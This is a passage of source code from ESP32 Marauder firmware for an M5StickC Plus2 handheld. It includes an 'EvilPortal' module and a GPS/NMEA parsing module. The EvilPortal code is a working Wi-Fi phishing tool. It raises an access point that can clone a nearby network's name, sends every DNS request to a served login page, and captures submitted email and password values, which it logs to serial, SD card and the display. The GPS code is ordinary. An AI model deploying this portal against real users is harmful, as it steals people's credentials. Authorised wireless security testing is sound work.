21 | sd_obj.listDirToLinkedList(html_files, "/", "html");
22 |
23 | Serial.println("Evil Portal Found " + (String)html_files->size() + " HTML files");
24 | }
25 | #endif
26 | }
27 |
28 | bool EvilPortal::begin(LinkedList* ssids, LinkedList* access_points) {
29 | if (!this->setAP(ssids, access_points))
30 | return false;
31 | if (!this->setHtml())
32 | return false;
33 |
34 | startPortal();
35 |
36 | return true;
37 | }
38 |
39 | String EvilPortal::get_user_name() {
40 | return this->user_name;
41 | }
42 |
43 | String EvilPortal::get_password() {
44 | return this->password;
45 | }
46 |
47 | void EvilPortal::setupServer() {
48 | server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
49 | request->send_P(200, "text/html", index_html);
50 | Serial.println("client connected");
51 | #ifdef HAS_SCREEN
52 | this->sendToDisplay("Client connected to server");
53 | #endif
54 | });
55 |
56 | server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
57 | String inputMessage;
58 | String inputParam;
59 |
60 | if (request->hasParam("email")) {
61 | inputMessage = request->getParam("email")->value();
62 | inputParam = "email";
63 | this->user_name = inputMessage;
64 | this->name_received = true;
65 | }
66 |
67 | if (request->hasParam("password")) {
68 | inputMessage = request->getParam("password")->value();
69 | inputParam = "password";
70 | this->password = inputMessage;
71 | this->password_received = true;
72 | }
73 | request->send(
74 | 200, "text/html",
75 | "");
76 | });
77 | Serial.println("web server up");
78 | }
79 |
80 | void EvilPortal::setHtmlFromSerial() {
81 | Serial.println("Setting HTML from serial...");
82 | const char *htmlStr = Serial.readString().c_str();
83 | strncpy(index_html, htmlStr, strlen(htmlStr));
84 | this->has_html = true;
85 | this->using_serial_html = true;
86 | Serial.println("html set");
87 | }
88 |
89 | bool EvilPortal::setHtml() {
90 | if (this->using_serial_html) {
91 | Serial.println("html previously set");
92 | return true;
93 | }
94 | Serial.println("Setting HTML...");
95 | #ifndef WRITE_PACKETS_SERIAL
96 | File html_file = sd_obj.getFile("/" + this->target_html_name);
97 | if (!html_file) {
98 | #ifdef HAS_SCREEN
99 | this->sendToDisplay("Could not find /" + this->target_html_name);
100 | this->sendToDisplay("Touch to exit...");
101 | #endif
102 | Serial.println("Could not find /" + this->target_html_name + ". Use stopscan...");
103 | return false;
104 | }
105 | else {
106 | if (html_file.size() > MAX_HTML_SIZE) {
107 | #ifdef HAS_SCREEN
108 | this->sendToDisplay("The given HTML is too large.");
109 | this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
110 | this->sendToDisplay("Touch to exit...");
111 | #endif
112 | Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
113 | return false;
114 | }
115 | String html = "";
116 | while (html_file.available()) {
117 | char c = html_file.read();
118 | if (isPrintable(c))
119 | html.concat(c);
120 | }
121 | strncpy(index_html, html.c_str(), strlen(html.c_str()));
122 | this->has_html = true;
123 | Serial.println("html set");
124 | html_file.close();
125 | return true;
126 | }
127 | #else
128 | return false;
129 | #endif
130 |
131 | }
132 |
133 | bool EvilPortal::setAP(LinkedList* ssids, LinkedList* access_points) {
134 | // See if there are selected APs first
135 | String ap_config = "";
136 | String temp_ap_name = "";
137 | for (int i = 0; i < access_points->size(); i++) {
138 | if (access_points->get(i).selected) {
139 | temp_ap_name = access_points->get(i).essid;
140 | break;
141 | }
142 | }
143 | // If there are no SSIDs and there are no APs selected, pull from file
144 | // This means the file is last resort
145 | if ((ssids->size() <= 0) && (temp_ap_name == "")) {
146 | #ifndef WRITE_PACKETS_SERIAL
147 | File ap_config_file = sd_obj.getFile("/ap.config.txt");
148 | // Could not open config file. return false
149 | if (!ap_config_file) {
150 | #ifdef HAS_SCREEN
151 | this->sendToDisplay("Could not find /ap.config.txt.");
152 | this->sendToDisplay("Touch to exit...");
153 | #endif
154 | Serial.println("Could not find /ap.config.txt. Use stopscan...");
155 | return false;
156 | }
157 | // Config file good. Proceed
158 | else {
159 | // ap name too long. return false
160 | if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
161 | #ifdef HAS_SCREEN
162 | this->sendToDisplay("The given AP name is too large.");
163 | this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
164 | this->sendToDisplay("Touch to exit...");
165 | #endif
166 | Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
167 | return false;
168 | }
169 | // AP name length good. Read from file into var
170 | while (ap_config_file.available()) {
171 | char c = ap_config_file.read();
172 | Serial.print(c);
173 | if (isPrintable(c)) {
174 | ap_config.concat(c);
175 | }
176 | }
177 | #ifdef HAS_SCREEN
178 | this->sendToDisplay("AP name from config file");
179 | this->sendToDisplay("AP name: " + ap_config);
180 | #endif
181 | Serial.println("AP name from config file: " + ap_config);
182 | ap_config_file.close();
183 | }
184 | #else
185 | return false;
186 | #endif
187 | }
188 | // There are SSIDs in the list but there could also be an AP selected
189 | // Priority is SSID list before AP selected and config file
190 | else if (ssids->size() > 0) {
191 | ap_config = ssids->get(0).essid;
192 | if (ap_config.length() > MAX_AP_NAME_SIZE) {
193 | #ifdef HAS_SCREEN
194 | this->sendToDisplay("The given AP name is too large.");
195 | this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
196 | this->sendToDisplay("Touch to exit...");
197 | #endif
198 | Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
199 | return false;
200 | }
201 | #ifdef HAS_SCREEN
202 | this->sendToDisplay("AP name from SSID list");
203 | this->sendToDisplay("AP name: " + ap_config);
204 | #endif
205 | Serial.println("AP name from SSID list: " + ap_config);
206 | }
207 | else if (temp_ap_name != "") {
208 | if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
209 | #ifdef HAS_SCREEN
210 | this->sendToDisplay("The given AP name is too large.");
211 | this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
212 | this->sendToDisplay("Touch to exit...");
213 | #endif
214 | Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
215 | }
216 | else {
217 | ap_config = temp_ap_name;
218 | #ifdef HAS_SCREEN
219 | this->sendToDisplay("AP name from AP list");
220 | this->sendToDisplay("AP name: " + ap_config);
221 | #endif
222 | Serial.println("AP name from AP list: " + ap_config);
223 | }
224 | }
225 | else {
226 | Serial.println("Could not configure Access Point. Use stopscan...");
227 | #ifdef HAS_SCREEN
228 | this->sendToDisplay("Could not configure Access Point.");
229 | this->sendToDisplay("Touch to exit...");
230 | #endif
231 | }
232 |
233 | if (ap_config != "") {
234 | strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
235 | this->has_ap = true;
236 | Serial.println("ap config set");
237 | return true;
238 | }
239 | else
240 | return false;
241 |
242 | }
243 |
244 | void EvilPortal::startAP() {
245 | Serial.print("starting ap ");
246 | Serial.println(apName);
247 |
248 | WiFi.mode(WIFI_AP);
249 | WiFi.softAP(apName);
250 |
251 | #ifdef HAS_SCREEN
252 | this->sendToDisplay("AP started");
253 | #endif
254 |
255 | Serial.print("ap ip address: ");
256 | Serial.println(WiFi.softAPIP());
257 |
258 | this->setupServer();
259 |
260 | this->dnsServer.start(53, "*", WiFi.softAPIP());
261 | server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
262 | server.begin();
263 | #ifdef HAS_SCREEN
264 | this->sendToDisplay("Evil Portal READY");
265 | #endif
266 | }
267 |
268 | void EvilPortal::startPortal() {
269 | // wait for flipper input to get config index
270 | this->startAP();
271 |
272 | this->runServer = true;
273 | }
274 |
275 | void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
276 | len = str.length(); // Obtain the length of the string
277 |
278 | buf = new uint8_t[len]; // Dynamically allocate the buffer
279 |
280 | // Copy each character from the string to the buffer
281 | for (uint32_t i = 0; i < len; i++) {
282 | buf[i] = static_cast(str.charAt(i));
283 | }
284 | }
285 |
286 | void EvilPortal::addLog(String log, int len) {
287 | bool save_packet = settings_obj.loadSetting(text_table4[7]);
288 | if (save_packet) {
289 | uint8_t* logBuffer = nullptr;
290 | uint32_t logLength = 0;
291 | this->convertStringToUint8Array(log, logBuffer, logLength);
292 |
293 | #ifdef WRITE_PACKETS_SERIAL
294 | buffer_obj.addPacket(logBuffer, logLength, true);
295 | delete[] logBuffer;
296 | #elif defined(HAS_SD)
297 | sd_obj.addPacket(logBuffer, logLength, true);
298 | delete[] logBuffer;
299 | #else
300 | delete[] logBuffer;
301 | return;
302 | #endif
303 | }
304 | }
305 |
306 | void EvilPortal::sendToDisplay(String msg) {
307 | #ifdef HAS_SCREEN
308 | String display_string = "";
309 | display_string.concat(msg);
310 | int temp_len = display_string.length();
311 | for (int i = 0; i < 40 - temp_len; i++)
312 | {
313 | display_string.concat(" ");
314 | }
315 | display_obj.loading = true;
316 | display_obj.display_buffer->add(display_string);
317 | display_obj.loading = false;
318 | #endif
319 | }
320 |
321 | void EvilPortal::main(uint8_t scan_mode) {
322 | if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
323 | this->dnsServer.processNextRequest();
324 | if (this->name_received && this->password_received) {
325 | this->name_received = false;
326 | this->password_received = false;
327 | String logValue1 =
328 | "u: " + this->user_name;
329 | String logValue2 = "p: " + this->password;
330 | String full_string = logValue1 + " " + logValue2 + "\n";
331 | Serial.print(full_string);
332 | this->addLog(full_string, full_string.length());
333 | #ifdef HAS_SCREEN
334 | this->sendToDisplay(full_string);
335 | #endif
336 | }
337 | }
338 | }
339 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/EvilPortal.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef EvilPortal_h
4 | #define EvilPortal_h
5 |
6 | #include "ESPAsyncWebServer.h"
7 | #include
8 | #include
9 |
10 | #include "configs.h"
11 | #include "settings.h"
12 | #ifdef HAS_SCREEN
13 | #include "Display.h"
14 | #include
15 | #endif
16 | #ifndef WRITE_PACKETS_SERIAL
17 | #include "SDInterface.h"
18 | #else
19 | #include "Buffer.h"
20 | #endif
21 | #include "lang_var.h"
22 |
23 | extern Settings settings_obj;
24 | #ifndef WRITE_PACKETS_SERIAL
25 | extern SDInterface sd_obj;
26 | #endif
27 | #ifdef HAS_SCREEN
28 | extern Display display_obj;
29 | #endif
30 | extern Buffer buffer_obj;
31 |
32 | #define WAITING 0
33 | #define GOOD 1
34 | #define BAD 2
35 |
36 | #define SET_HTML_CMD "sethtml="
37 | #define SET_AP_CMD "setap="
38 | #define RESET_CMD "reset"
39 | #define START_CMD "start"
40 | #define ACK_CMD "ack"
41 | #define MAX_AP_NAME_SIZE 30
42 | #define WIFI_SCAN_EVIL_PORTAL 30
43 |
44 | char apName[MAX_AP_NAME_SIZE] = "PORTAL";
45 | char index_html[MAX_HTML_SIZE] = "TEST";
46 |
47 | struct ssid {
48 | String essid;
49 | uint8_t channel;
50 | uint8_t bssid[6];
51 | bool selected;
52 | };
53 |
54 | struct AccessPoint {
55 | String essid;
56 | uint8_t channel;
57 | uint8_t bssid[6];
58 | bool selected;
59 | LinkedList* beacon;
60 | char rssi;
61 | LinkedList* stations;
62 | };
63 |
64 | class CaptiveRequestHandler : public AsyncWebHandler {
65 | public:
66 | CaptiveRequestHandler() {}
67 | virtual ~CaptiveRequestHandler() {}
68 |
69 | bool canHandle(AsyncWebServerRequest *request) { return true; }
70 |
71 | void handleRequest(AsyncWebServerRequest *request) {
72 | request->send_P(200, "text/html", index_html);
73 | }
74 | };
75 |
76 | class EvilPortal {
77 |
78 | private:
79 | bool runServer;
80 | bool name_received;
81 | bool password_received;
82 |
83 | String user_name;
84 | String password;
85 |
86 | bool has_html;
87 | bool has_ap;
88 |
89 | DNSServer dnsServer;
90 |
91 | void (*resetFunction)(void) = 0;
92 |
93 | bool setHtml();
94 | bool setAP(LinkedList* ssids, LinkedList* access_points);
95 | void setupServer();
96 | void startPortal();
97 | void startAP();
98 | void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
99 | void sendToDisplay(String msg);
100 |
101 | public:
102 | EvilPortal();
103 |
104 | String target_html_name = "index.html";
105 | uint8_t selected_html_index = 0;
106 |
107 | bool using_serial_html;
108 |
109 | LinkedList* html_files;
110 |
111 | String get_user_name();
112 | String get_password();
113 | void setup();
114 | void addLog(String log, int len);
115 | bool begin(LinkedList* ssids, LinkedList* access_points);
116 | void main(uint8_t scan_mode);
117 | void setHtmlFromSerial();
118 |
119 | };
120 |
121 | #endif
122 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/GpsInterface.cpp:
--------------------------------------------------------------------------------
1 | #include "GpsInterface.h"
2 |
3 | #ifdef HAS_GPS
4 |
5 | extern GpsInterface gps_obj;
6 |
7 | char nmeaBuffer[100];
8 |
9 | MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
10 |
11 | #ifndef GPS_SOFTWARE_SERIAL
12 | HardwareSerial Serial2(GPS_SERIAL_INDEX);
13 | #else
14 | EspSoftwareSerial::UART Serial2;
15 | #endif
16 |
17 | void GpsInterface::begin() {
18 |
19 | #ifndef GPS_SOFTWARE_SERIAL
20 | Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
21 | #else
22 | Serial2.begin(9600, SWSERIAL_8N1, GPS_TX, GPS_RX);
23 | #endif
24 |
25 | MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
26 | MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
27 |
28 | MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
29 |
30 | delay(4000);
31 |
32 | if (Serial2.available()) {
33 | Serial.println("GPS Attached Successfully");
34 | this->gps_enabled = true;
35 | while (Serial2.available())
36 | Serial2.read();
37 | }
38 |
39 | this->type_flag=GPSTYPE_NATIVE; //enforce default
40 | this->disable_queue(); //init the queue, disabled, kill NULLs
41 |
42 | nmea.setUnknownSentenceHandler(gps_nmea_notimp);
43 | }
44 |
45 | //passthrough for other objects
46 | void gps_nmea_notimp(MicroNMEA& nmea){
47 | gps_obj.enqueue(nmea);
48 | }
49 |
50 | void GpsInterface::enqueue(MicroNMEA& nmea){
51 | std::string nmea_sentence = std::string(nmea.getSentence());
52 |
53 | if(nmea_sentence.length()){
54 | this->notimp_nmea_sentence = nmea_sentence.c_str();
55 |
56 | bool unparsed=1;
57 | bool enqueue=1;
58 |
59 | char system=nmea.getTalkerID();
60 | String msg_id=nmea.getMessageID();
61 | int length=nmea_sentence.length();
62 |
63 | if(length>0&&length<256){
64 | if(system){
65 | if(msg_id=="TXT"){
66 | if(length>8){
67 | std::string content=nmea_sentence.substr(7,std::string::npos);
68 |
69 | int tot_brk=content.find(',');
70 | int num_brk=content.find(',',tot_brk+1);
71 | int txt_brk=content.find(',',num_brk+1);
72 | int chk_brk=content.rfind('*');
73 |
74 | if(tot_brk!=std::string::npos && num_brk!=std::string::npos && txt_brk!=std::string::npos && chk_brk!=std::string::npos
75 | && chk_brk>txt_brk && txt_brk>num_brk && num_brk>tot_brk && tot_brk>=0){
76 | std::string total_str=content.substr(0,tot_brk);
77 | std::string num_str=content.substr(tot_brk+1,num_brk-tot_brk-1);
78 | std::string type_str=content.substr(num_brk+1,txt_brk-num_brk-1);
79 | std::string text_str=content.substr(txt_brk+1,chk_brk-txt_brk-1);
80 | std::string checksum=content.substr(chk_brk+1,std::string::npos);
81 |
82 | int total=0;
83 | if(total_str.length()) total=atoi(total_str.c_str());
84 |
85 | int num=0;
86 | if(num_str.length()) num=atoi(num_str.c_str());
87 |
88 | int type=0;
89 | if(type_str.length()) type=atoi(type_str.c_str());
90 |
91 | if(text_str.length() && checksum.length()){
92 | String text=text_str.c_str();
93 | if(type>1){
94 | char type_cstr[4];
95 | snprintf(type_cstr, 4, "%02d ", type);
96 | type_cstr[3]='\0';
97 | text=type_cstr+text;
98 | }
99 |
100 | if((num<=1||total<=1) && this->queue_enabled_flag){
101 | if(this->text){
102 | if(this->text_in){
103 | int size=text_in->size();
104 | if(size){
105 | #ifdef GPS_TEXT_MAXCOPIES
106 | if(this->text_cycles>=GPS_TEXT_MAXCOPIES){
107 | #else
108 | if(this->text_cycles){
109 | #endif
110 | if(this->text->size()){
111 | LinkedList *delme=this->text;
112 | this->text=new LinkedList;
113 | delete delme;
114 | this->text_cycles=0;
115 | }
116 | }
117 |
118 | for(int i=0;itext->add(this->text_in->get(i));
120 | }
121 | LinkedList *delme=this->text_in;
122 | this->text_in=new LinkedList;
123 | delete delme;
124 | this->text_cycles++;
125 |
126 | this->gps_text=text;
127 | }
128 | }
129 | else
130 | this->text_in=new LinkedList;
131 | }
132 | else{
133 | if(this->text_in){
134 | this->text_cycles=0;
135 | this->text=this->text_in;
136 | if(this->text->size()){
137 | if(this->gps_text=="") this->gps_text=this->text->get(0);
138 | this->text_cycles++;
139 | }
140 | this->text_in=new LinkedList;
141 | }
142 | else {
143 | this->text_cycles=0;
144 | this->text=new LinkedList;
145 | this->text_in=new LinkedList;
146 | }
147 | }
148 |
149 | this->text_in->add(text);
150 | }
151 | else if(this->queue_enabled_flag){
152 | if(!this->text_in) this->text_in=new LinkedList;
153 | this->text_in->add(text);
154 | int size=this->text_in->size();
155 |
156 | #ifdef GPS_TEXT_MAXLINES
157 | if(size>=GPS_TEXT_MAXLINES){
158 | #else
159 | if(size>=5){
160 | #endif
161 | #ifdef GPS_TEXT_MAXCOPIES
162 | if(this->text_cycles>=GPS_TEXT_MAXCOPIES){
163 | #else
164 | if(this->text_cycles){
165 | #endif
166 | if(this->text->size()){
167 | LinkedList *delme=this->text;
168 | this->text=new LinkedList;
169 | delete delme;
170 | this->text_cycles=0;
171 | }
172 | }
173 |
174 | for(int i=0;itext->add(this->text_in->get(i));
176 |
177 | LinkedList *delme=this->text_in;
178 | this->text_in=new LinkedList;
179 | delete delme;
180 | this->text_cycles++;
181 | }
182 | }
183 | else
184 | if(num<=1||total<=1) this->gps_text=text;
185 |
186 | if(this->gps_text=="") this->gps_text=text;
187 | unparsed=0;
188 | }
189 | }
190 | }
191 | }
192 | }
193 | }
194 |
195 | if(unparsed)
196 | this->notparsed_nmea_sentence = nmea_sentence.c_str();
197 |
198 | if(this->queue_enabled_flag){
199 | if(!this->queue) this->new_queue();
200 | if(enqueue){
201 | String enqueue_me=nmea_sentence.c_str();
202 | this->queue->add(enqueue_me);
203 | }
204 | }
205 | else
206 | this->flush_queue();
207 | }
208 | else
209 | if(!this->queue_enabled_flag)
210 | this->flush_queue();
211 | }
212 |
213 | void GpsInterface::enable_queue(){
214 | if(this->queue_enabled_flag){
215 | if(!this->queue)
216 | this->new_queue();
217 | if(!this->text)
218 | this->text=new LinkedList;
219 | if(!this->text_in)
220 | this->text_in=new LinkedList;
221 | }
222 | else {
223 | this->flush_queue();
224 | this->queue_enabled_flag=1;
225 | }
226 | }
227 |
228 | void GpsInterface::disable_queue(){
229 | this->queue_enabled_flag=0;
230 | this->flush_queue();
231 | }
232 |
233 | bool GpsInterface::queue_enabled(){
234 | return this->queue_enabled_flag;
235 | }
236 |
237 | LinkedList* GpsInterface::get_queue(){
238 | return this->queue;
239 | }
240 |
241 | void GpsInterface::new_queue(){
242 | this->queue=new LinkedList;
243 | }
244 |
245 | void GpsInterface::flush_queue(){
246 | this->flush_queue_nmea();
247 | this->flush_text();
248 | }
249 |
250 | void GpsInterface::flush_queue_nmea(){
251 | if(this->queue){
252 | if(this->queue->size()){
253 | LinkedList *delme=this->queue;
254 | this->new_queue();
255 | delete delme;
256 | }
257 | }
258 | else
259 | this->new_queue();
260 | }
261 |
262 | void GpsInterface::flush_text(){
263 | this->flush_queue_text();
264 | this->flush_queue_textin();
265 | }
266 |
267 | void GpsInterface::flush_queue_text(){
268 | this->text_cycles=0;
269 |
270 | if(this->text){
271 | if(this->text->size()){
272 | LinkedList *delme=this->text;
273 | this->text=new LinkedList;
274 | delete delme;
275 | }
276 | }
277 | else
278 | this->text=new LinkedList;
279 | }
280 |
281 | void GpsInterface::flush_queue_textin(){
282 | if(this->text_in){
283 | if(this->text_in->size()){
284 | LinkedList *delme=this->text_in;
285 | this->text_in=new LinkedList;
286 | delete delme;
287 | }
288 | }
289 | else
290 | this->text_in=new LinkedList;
291 | }
292 |
293 | void GpsInterface::sendSentence(const char* sentence){
294 | MicroNMEA::sendSentence(Serial2, sentence);
295 | }
296 |
297 | void GpsInterface::sendSentence(Stream &s, const char* sentence){
298 | MicroNMEA::sendSentence(s, sentence);
299 | }
300 |
301 | void GpsInterface::setType(String t){
302 | if(t == "native")
303 | this->type_flag=GPSTYPE_NATIVE;
304 | else if(t == "gps")
305 | this->type_flag=GPSTYPE_GPS;
306 | else if(t == "glonass")
307 | this->type_flag=GPSTYPE_GLONASS;
308 | else if(t == "galileo")
309 | this->type_flag=GPSTYPE_GALILEO;
310 | else if(t == "navic")
311 | this->type_flag=GPSTYPE_NAVIC;
312 | else if(t == "qzss")
313 | this->type_flag=GPSTYPE_QZSS;
314 | else if(t == "beidou")
315 | this->type_flag=GPSTYPE_BEIDOU;
316 | else if(t == "beidou_bd")
317 | this->type_flag=GPSTYPE_BEIDOU_BD;
318 | else
319 | this->type_flag=GPSTYPE_ALL;
320 | }
321 |
322 | String GpsInterface::generateGXgga(){
323 | String msg_type="$"+this->generateType()+"GGA,";
324 |
325 | char timeStr[8];
326 | snprintf(timeStr, 8, "%02d%02d%02d,", (int)(nmea.getHour()), (int)(nmea.getMinute()), (int)(nmea.getSecond()));
327 |
328 | long lat = nmea.getLatitude();
329 | char latDir = lat < 0 ? 'S' : 'N';
330 | lat = abs(lat);
331 | char latStr[12];
332 | snprintf(latStr, 12, "%02ld%08.5f,", lat / 1000000, ((lat % 1000000)*60) / 1000000.0);
333 |
334 | long lon = nmea.getLongitude();
335 | char lonDir = lon < 0 ? 'W' : 'E';
336 | lon = abs(lon);
337 | char lonStr[13];
338 | snprintf(lonStr, 13, "%03ld%08.5f,", lon / 1000000, ((lon % 1000000)*60) / 1000000.0);
339 |
340 | int fixQuality = nmea.isValid() ? 1 : 0;
341 | char fixStr[3];
342 | snprintf(fixStr, 3, "%01d,", fixQuality);
343 |
344 | int numSatellites = nmea.getNumSatellites();
345 | char satStr[4];
346 | snprintf(satStr, 4, "%02d,", numSatellites);
347 |
348 | unsigned long hdop = nmea.getHDOP();
349 | char hdopStr[13];
350 | snprintf(hdopStr, 13, "%01.2f,", 2.5 * (((float)(hdop))/10));
351 |
352 | long altitude;
353 | if(!nmea.getAltitude(altitude)) altitude=0;
354 | char altStr[9];
355 | snprintf(altStr, 9, "%01.1f,", altitude/1000.0);
356 |
357 | String message = msg_type + timeStr + latStr + latDir + ',' + lonStr + lonDir +
358 | ',' + fixStr + satStr + hdopStr + altStr + "M,,M,,";
359 |
360 | return message;
361 | }
362 |
363 | String GpsInterface::generateGXrmc(){
364 | String msg_type="$"+this->generateType()+"RMC,";
365 |
366 | char timeStr[8];
367 | snprintf(timeStr, 8, "%02d%02d%02d,", (int)(nmea.getHour()), (int)(nmea.getMinute()), (int)(nmea.getSecond()));
368 |
369 | char dateStr[8];
370 | snprintf(dateStr, 8, "%02d%02d%02d,", (int)(nmea.getDay()), (int)(nmea.getMonth()), (int)(nmea.getYear()%100));
371 |
372 | char status = nmea.isValid() ? 'A' : 'V';
373 | char mode = nmea.isValid() ? 'A' : 'N';
374 |
375 | long lat = nmea.getLatitude();
376 | char latDir = lat < 0 ? 'S' : 'N';
377 | lat = abs(lat);
378 | char latStr[12];
379 | snprintf(latStr, 12, "%02ld%08.5f,", lat / 1000000, ((lat % 1000000)*60) / 1000000.0);
380 |
381 | long lon = nmea.getLongitude();
382 | char lonDir = lon < 0 ? 'W' : 'E';
383 | lon = abs(lon);
384 | char lonStr[13];
385 | snprintf(lonStr, 13, "%03ld%08.5f,", lon / 1000000, ((lon % 1000000)*60) / 1000000.0);
386 |
387 | char speedStr[8];
388 | snprintf(speedStr, 8, "%01.1f,", nmea.getSpeed() / 1000.0);
389 |
390 | char courseStr[7];
391 | snprintf(courseStr, 7, "%01.1f,", nmea.getCourse() / 1000.0);
392 |
393 | String message = msg_type + timeStr + status + ',' + latStr + latDir + ',' +
394 | lonStr + lonDir + ',' + speedStr + courseStr + dateStr + ',' + ',' + mode;
395 | return message;
396 | }
397 |
398 | String GpsInterface::generateType(){
399 | String msg_type="";
400 |
401 | if(this->type_flag<8) //8=BeiDou in BD mode
402 | msg_type+='G';
403 |
404 | if(this->type_flag == GPSTYPE_NATIVE){ //type_flag=0
405 | char system=this->nav_system;
406 | if(system)
407 | msg_type+=system;
408 | else
409 | msg_type+='N';
410 | }
411 | else if(this->type_flag == GPSTYPE_GPS) //type_flag=2
412 | msg_type+='P';
413 | else if(this->type_flag == GPSTYPE_GLONASS) //type_flag=3
414 | msg_type+='L';
415 | else if(this->type_flag == GPSTYPE_GALILEO) //type_flag=4
416 | msg_type+='A';
417 | else if(this->type_flag == GPSTYPE_NAVIC) //type_flag=5
418 | msg_type+='I';
419 | else if(this->type_flag == GPSTYPE_QZSS) //type_flag=6
420 | msg_type+='Q';
421 | else if(this->type_flag == GPSTYPE_BEIDOU) //type_flag=7
422 | msg_type+='B';
423 | else if(this->type_flag == GPSTYPE_BEIDOU_BD){ //type_flag=8
424 | msg_type+='B';
425 | msg_type+='D';
426 | }
427 | else{ //type_flag=1=all ... also default if unset/wrong (obj default is type_flag=0=native)
428 | if(this->type_flag>=8) //catch uncaught first char, assume G if not already output
429 | msg_type+='G';
430 | msg_type+='N';
431 | }
432 |
433 | return msg_type;
434 | }
435 |
436 | // Thanks JosephHewitt
437 | String GpsInterface::dt_string_from_gps(){
438 | //Return a datetime String using GPS data only.
439 | String datetime = "";
440 | if (nmea.isValid() && nmea.getYear() > 0){
441 | datetime += nmea.getYear();
442 | datetime += "-";
443 | datetime += nmea.getMonth();
444 | datetime += "-";
445 | datetime += nmea.getDay();
446 | datetime += " ";
447 | datetime += nmea.getHour();
448 | datetime += ":";
449 | datetime += nmea.getMinute();
450 | datetime += ":";
451 | datetime += nmea.getSecond();
452 | }
453 | return datetime;
454 | }
455 |
456 | void GpsInterface::setGPSInfo() {
457 | String nmea_sentence = String(nmea.getSentence());
458 | if(nmea_sentence != "") this->nmea_sentence = nmea_sentence;
459 |
460 | this->good_fix = nmea.isValid();
461 | this->nav_system = nmea.getNavSystem();
462 | this->num_sats = nmea.getNumSatellites();
463 |
464 | this->datetime = this->dt_string_from_gps();
465 |
466 | this->lat = String((float)nmea.getLatitude()/1000000, 7);
467 | this->lon = String((float)nmea.getLongitude()/1000000, 7);
468 | long alt = 0;
469 | if (!nmea.getAltitude(alt)){
470 | alt = 0;
471 | }
472 | this->altf = (float)alt / 1000;
473 |
474 | this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
475 |
476 | //nmea.clear();
477 | }
478 |
479 | float GpsInterface::getAccuracy() {
480 | return this->accuracy;
481 | }
482 |
483 | String GpsInterface::getLat() {
484 | return this->lat;
485 | }
486 |
487 | String GpsInterface::getLon() {
488 | return this->lon;
489 | }
490 |
491 | float GpsInterface::getAlt() {
492 | return this->altf;
493 | }
494 |
495 | String GpsInterface::getDatetime() {
496 | return this->datetime;
497 | }
498 |
499 | String GpsInterface::getNumSatsString() {
500 | return (String)num_sats;
501 | }
502 |
503 | bool GpsInterface::getFixStatus() {
504 | return this->good_fix;
505 | }
506 |
507 | String GpsInterface::getFixStatusAsString() {
508 | if (this->getFixStatus())
509 | return "Yes";
510 | else
511 | return "No";
512 | }
513 |
514 | bool GpsInterface::getGpsModuleStatus() {
515 | return this->gps_enabled;
516 | }
517 |
518 | String GpsInterface::getText() {
519 | return this->gps_text;
520 | }
521 |
522 | int GpsInterface::getTextQueueSize() {
523 | if(this->queue_enabled_flag){
524 | bool exists=0;
525 | if(this->text){
526 | int size=this->text->size();
527 | if(size) return size;
528 | exists=1;
529 | }
530 | if(this->text_in){
531 | int size=this->text_in->size();
532 | if(size) return size;
533 | exists=1;
534 | }
535 | if(exists)
536 | return 0;
537 | else
538 | return -2;
539 | }
540 | else
541 | return -1;
542 | }
543 |
544 | String GpsInterface::getTextQueue(bool flush) {
545 | if(this->queue_enabled_flag){
546 | if(this->text){
547 | int size=this->text->size();
548 | if(size){
549 | String text;
550 | for(int i=0;itext_in->get(i);
552 | if(now!=""){
553 | if(text!=""){
554 | text+='\r';
555 | text+='\n';
556 | }
557 | text+=now;
558 | }
559 | }
560 | if(flush){
561 | LinkedList *delme=this->text;
562 | this->text_cycles=0;
563 | this->text=this->text_in;
564 | if(!this->text) this->text=new LinkedList;
565 | if(this->text->size()) this->text_cycles++;
566 | this->text_in=new LinkedList;
567 | delete delme;
568 | }
569 | return text;
570 | }
571 | }
572 | else{
573 | this->text=new LinkedList;
574 | this->text_cycles=0;
575 | }
576 |
577 | if(this->text_in){
578 | int size=this->text_in->size();
579 | if(size){
580 | LinkedList *buffer=this->text_in;
581 | if(flush)
582 | this->text_in=new LinkedList;
583 | String text;
584 | for(int i=0;iget(i);
586 | if(now!=""){
587 | if(text!=""){
588 | text+='\r';
589 | text+='\n';
590 | }
591 | text+=now;
592 | }
593 | }
594 | if(flush)
595 | delete buffer;
596 | return text;
597 | }
598 | }
599 | else
600 | this->text_in=new LinkedList;
601 |
602 | return this->gps_text;
603 | }
604 | else
605 | return this->gps_text;
606 | }
607 |
608 | String GpsInterface::getNmea() {
609 | return this->nmea_sentence;
610 | }
611 |
612 | String GpsInterface::getNmeaNotimp() {
613 | return this->notimp_nmea_sentence;
614 | }
615 |
616 | String GpsInterface::getNmeaNotparsed() {
617 | return this->notparsed_nmea_sentence;
618 | }
619 |
